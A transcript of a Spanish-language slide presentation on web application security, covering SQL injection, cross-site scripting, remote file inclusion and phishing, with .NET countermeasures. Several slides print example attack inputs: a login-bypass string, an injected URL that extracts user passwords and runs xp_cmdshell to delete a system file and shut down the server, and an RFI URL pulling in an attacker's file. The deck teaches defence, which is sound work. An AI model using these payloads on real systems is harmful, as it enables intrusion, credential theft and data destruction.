1 / 94

Seguridad en Aplicaciones Web

Seguridad en Aplicaciones Web. Amenazas Web. Chema Alonso MS MVP Windows Server Security chema@informatica64.com. Agenda Amenazas Web. Aplicaciones Web Vulnerabilidades: Sql Injection Vulnerabilidades: Cross-Site Scripting Vulnerabilidades: RFI Vulnerabilidades: Phising

obelia
Download Presentation

Seguridad en Aplicaciones Web

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Seguridad en Aplicaciones Web

  2. Amenazas Web Chema Alonso MS MVP Windows Server Security chema@informatica64.com

  3. Agenda Amenazas Web • Aplicaciones Web • Vulnerabilidades: Sql Injection • Vulnerabilidades: Cross-Site Scripting • Vulnerabilidades: RFI • Vulnerabilidades: Phising • Vulnerabilidades: WebTrojan • Vulnerabilidades: Capa 8

  4. Aplicaciones Web

  5. Tipos de Aplicaciones Web • Web Site público. • Información destinada al público. • Intranet (ERP/CRM/Productividad) • Información privada de acceso interno. • Extranet (Productividad/B2B/B2C) • Información privada de acceso externo.

  6. Arquitectura Multicapa Interfaz de Usuario (GUI) Lógica de la Aplicación Almacén De Datos DCOM BBDD WebServer Browser WebService BBDD WebServer RPC

  7. Amenazas • Zone-h contabiliza 2.500 intrusiones Web con éxito cada día en 2004. • Se atacan todas las tecnologías • Los ataques se han escalado desde el sistema operativo a la aplicación. • Ataques no masivos. • Motivos: • Económicos • Venganza • Reto • Just For Fun

  8. Cliente - Riesgos • Navegador de Internet: • Ejecuta código en contexto de usuario. • Lenguajes potentes: • HTML/DHTML • vbScript/JavaScript/Jscript • Programas embebidos • Applets Java • ActiveX • Shockwave Flash • Códigos No protegidos • Cifrado cliente: Atrise. • Ofuscación de código.

  9. Código y poder • El código fuente es poder • Tanto para defenderse como para atacar • Compartir el código es compartir el poder. • Con los atacantes y defensores • Publicar el código fuente sin hacer nada más degrada la seguridad • Por el contrario, publicar el código fuente permite a los defensores y a otros elevar la seguridad al nivel que les convenga.

  10. Software Seguro • El software Fiable es aquel que hace lo que se supone que debe hacer. • El software Seguro es aquel que hace lo que se supone que debe hacer, y nada mas. • Son los sorprendentes “algo mas” los que producen inseguridad. • Para estar seguro, debes de ejecutar solo software perfecto :-) • O, hacer algo para mitigar ese “algo mas”

  11. Cliente - Riesgos • Ninguna protección en cliente es buena • Utilización de técnicas de MITM • Achilles • BurpSuite • Odysseus… • Decompiladores • Flash • Java

  12. Lógica de Aplicación - Riesgos • Servidor Web • Ejecuta código en contextos privilegiados. • Lenguajes potentes • Acceden a BBDD • Envían programas a clientes • Transferir ficheros • Ejecutar comandos sobre el sistema. • Soporte para herramientas de administración de otro software. • Códigos de Ejemplo

  13. Almacén de Datos - Riesgos • SGBD • Lenguaje de 3ª y 4ª Generación. • Soporta múltiples bases de datos. • Catálogo global de datos. • Ejecuta programas sobre Sistema. • LOPD. • Transacciones económicas. • Información clave de negocio.

  14. Vulnerabilidades: SQL Injection

  15. Explotación del Ataque • Aplicaciones con mala comprobación de datos de entrada. • Datos de usuario. • Formularios • Text • Password • Textarea • List • multilist • Datos de llamadas a procedimientos. • Links • Funciones Scripts • Actions • Datos de usuario utilizados en consultas a base de datos. • Mala construcción de consultas a bases de datos.

  16. Riesgos • Permiten al atacante: • Saltar restricciones de acceso. • Elevación de privilegios. • Extracción de información de la Base de Datos • Parada de SGBDR. • Ejecución de comandos en contexto usuario bd dentro del servidor.

  17. Tipos de Ataques • Ejemplo 1: • Autenticación de usuario contra base de datos. Select idusuario from tabla_usuarios Where nombre_usuario=‘$usuario’ And clave=‘$clave’; Usuario Clave ****************

  18. Tipos de Ataques • Ejemplo 1 (cont) Select idusuario from tabla_usuarios Where nombre_usuario=‘Administrador’ And clave=‘’ or ‘1’=‘1’; Usuario Administrador Clave ‘ or ‘1’=‘1

  19. Demo

  20. Tipos de Ataques • Ejemplo 2: • Acceso a información con procedimientos de listado. http://www.miweb.com/prog.asp?parametro1=hola Ó http://www.miweb.com/prog.asp?parametro1=1

  21. Tipos de Ataques • Ejemplo 2 (cont): http://www.miweb.com/prog.asp?parametro1=‘ union select nombre, clave,1,1,1 from tabla_usuarios; otra instrucción; xp_cmdshell(“del c:\boot.ini”); shutdown -- Ó http://www.miweb.com/prog.asp?parametro1=-1 union select .....; otra instrucción; --

  22. Demo

  23. Contramedidas • No confianza en medias de protección en cliente. • Comprobación de datos de entrada. • Construcción segura de sentencias SQL. • Fortificación de Servidor Web. • Códigos de error. • Restricción de verbos, longitudes, etc.. • Filtrado de contenido HTTP en Firewall. • Fortificación de SGBD. • Restricción de privilegios de motor/usuario de acceso desde web. • Aislamiento de bases de datos.

  24. Contramedidas • Desarrollo .NET • Redirigir a una página personalizada en caso de error • Web.Config • Mode  On, Off, RemoteOnly • DefaultRedirect  Error no especificado • <error…>Errores específicos <customErrors mode="RemoteOnly" defaultRedirect="GenericErrorPage.htm"> <error statusCode="403" redirect="NoAccess.htm"/> <error statusCode="404" redirect="FileNotFound.htm"/> </customErrors>

  25. Contramedidas • Desarrollo .NET (Validadores)

  26. Contramedidas protected void Button1_Click(object sender, EventArgs e){ SqlConnection conn = new SqlConnection(connstr); conn.Open(); SqlCommand cmd = new SqlCommand(); cmd.Connection = conn; cmd.CommandText = "Select * from Usuarios where login='"+ txtLogin.Text +"‘ and password='"+ txtPassword.Text +"'"; cmd.CommandType = CommandType.Text; SqlDataReader dr = cmd.ExecuteReader(); if (dr.HasRows){ //Código para permitir el paso a la aplicación Response.Write("<script>alert('Acceso permitido');</script>"); } else{ //Codigo para rechazar el usuario Response.Write("<script>alert('Acceso denegado');</script>"); } conn.Close(); } • Desarrollos en .NET (Código inseguro)

  27. Contramedidas • Desarrollo .NET (Código seguro) • Consultas parametrizadas protected void Button1_Click(object sender, EventArgs e){ SqlConnection conn = new SqlConnection(connstr); conn.Open(); SqlCommand cmd = new SqlCommand(); cmd.Connection = conn; cmd.CommandText = "Select * from Usuarios where login=@login and password=@pass"; cmd.Parameters.AddWithValue("login", txtLogin); cmd.Parameters.AddWithValue("pass", txtPassword.Text); cmd.CommandType = CommandType.Text; dr = cmd.ExecuteReader(); if (dr.HasRows){//Código para permitir el paso a la aplicación Response.Write("<script>alert('Acceso permitido');</script>"); } else{//Codigo para rechazar el usuario Response.Write("<script>alert('Acceso denegado');</script>"); } conn.Close(); }

  28. Vulnerabilidades: Cross-Site Scripting (XSS)

  29. Explotación del Ataque • Datos almacenados en servidor desde cliente. • Datos van a ser visualizados por otros cliente/usuario. • Datos no filtrados. No comprobación de que sean dañinos al cliente que visualiza.

  30. Riesgos • Ejecución de código en contexto de usuario que visualiza datos. • Navegación dirigida • Phising • Spyware • Robo de credenciales • Ejecución de acciones automáticas • Defacement

  31. Tipos de Ataques • Mensajes en Foros. • Firma de libro de visitas. • Contactos a través de web. • Correo Web. • En todos ellos se envían códigos Script dañinos.

  32. Demo

  33. Robo de Sesiones (XSS) • Mediante esta técnica se puede robar sesiones de una manera bastante sencilla • Bastaría con realizar un script que llamase a una página alojada en nuestro servidor pasándole la cookie • Este Script se colaría en el servidor de la victima aprovechando un punto vulnerable a XSS • Cuando un usuario este logueado en el servidor y ejecute el script se enviara a nuestro servidor el contenido de la cookie

  34. Robo de Sesiones (XSS) • Una vez que la página obtiene la cookie (almacenandola por ejemplo en un fichero) mediante programas como Odysseus se puede hacer una llamada al servidor pasándole la cookie original • Por supuesto esta cookie es válida para robar la sesión solo mientras el usuario no cierre la sesión

  35. Demo

  36. Contramedidas • Fortificación de aplicación • Comprobación fiable de datos • Fortificación de Clientes • Ejecución de clientes en entorno menos privilegiado. • Fortificación de navegador cliente. • MBSA. • Políticas.

  37. Contramedidas • Desarrollo .NET • En ASP.NET el Cross Site Scripting está deshabilitado por defecto • El Framework se encarga de buscar posibles ataques de este tipo en las entradas de datos • Se puede deshabilitar este tipo de verificación mediante un atributo de la directiva @Page • Para deshabilitarlo <%@ Page …ValidateRequest=“false” … %>

  38. Vulnerabilidades: Remote File Inclusion (RFI)

  39. Remote File Inclusion (RFI) • Vulnerabilidad propia de páginas PHP dinámicas que permite enlace de archivos remotos situados en otros servidores • Se debe a una mala programación o uso de la función include() • Esta vulnerabilidad no se da en páginas programadas en un lenguaje que no permita la inclusión de ficheros ajenos al servidor

  40. Remote File Inclusion (RFI) • La vulnerabilidad es producida por código semejante a este • En páginas de este tipo se puede incluir ficheros que estén en nuestro servidor $page = $_GET['page']; include($page); http://victima.com/pagvuln.php?page=http://[misitio]/miFichero

  41. Remote File Inclusion (RFI) • Existen herramientas que permite explorar un sitio Web en busca de este tipo de vulnerabilidades (rpvs)

  42. Remote File Inclusion (RFI) • Mediante las shell PHP se pueden ejecutar comandos en una página Web • Usando RFI se puede incluir un fichero que ejecute comandos, tales como listar directorios, obtener y colocar ficheros, etc. • “El inconveniente” es que la mayoría de servidores Web en PHP tienen deshabilitadas las funciones exec, system o passthru que impiden la ejecución de comandos

  43. Remote File Inclusion (RFI) • Sin embargo, existen funciones como show_source(‘archivo’) que permiten la visualización del código fuente de una página • A su vez, existen otra serie de funciones que nos permiten listar el contenido de un directorio • El uso de estas funciones no puede ser limitado y no depende del SO sobre el que se encuentra instalado el Servidor Web

  44. Demo

  45. Vulnerabilidades: Phising

  46. Explotación del Ataque • Basado en técnicas de Ingeniería Social. • Se aprovecha de la confianza de los usuarios. • Se aprovecha de la falta de formación en seguridad de los usuarios. • Certificados digitales no generados por Entidades Emisoras de Certificados de confianza.

  47. Riesgos • Suplantación de Sitios Web para engañar al usuario. • Robo de credenciales de acceso a web restringidos. • Robo de dinero • Compras por Internet • Bromas pesadas

  48. Tipos de Ataques • Se falsea la dirección de DNS del servidor • Falsificación hosts • Troyanos, Físicamente, Shellcodes exploits • DHCP • DNS Spoofing • Man in The Middle • Se engaña la navegación. • Frames Ocultos • URLs falseadas. • Se implanta en la nueva ubicación un servidor replica. • Se implantan hasta fakes de certificados digitales

  49. Exploits infohacking.com

  50. Contramedidas • Uso de CA de confianza • Formación a usuarios • Gestión de actualizaciones de seguridad • Códigos de aplicaciones seguras • Control físico de la red • Comprobación DHCP

More Related